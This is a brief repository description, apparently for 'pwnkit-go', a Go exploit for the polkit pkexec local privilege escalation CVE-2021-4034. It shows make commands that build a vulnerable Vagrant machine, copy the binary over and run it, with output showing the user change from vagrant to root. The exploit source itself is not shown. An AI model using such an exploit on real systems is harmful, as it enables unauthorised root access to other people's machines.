CVE-2021-4034 PoC — polkit 缓冲区错误漏洞

Description

Exploit for the PwnKit vulnerability, CVE-2021-4034, written in Go

介绍

### Pwnkit-go

This is a working exploit for the pwnkit vulnerability, CVE-2021-4034, written in Go

Give it a try:

```sh
# create a vulnerable vagrant machine
$ make vm
...

# build the binary and scp it to the vagrant box
$ make scp

# ssh onto the vagrant box
$ make ssh

# The default user is "vagrant"
vagrant@ubuntu-focal:~$ whoami
vagrant

# execute exploit
vagrant@ubuntu-focal:/tmp$ cd /tmp && ./pwnkit-go
$ whoami
root
```

文件快照

备注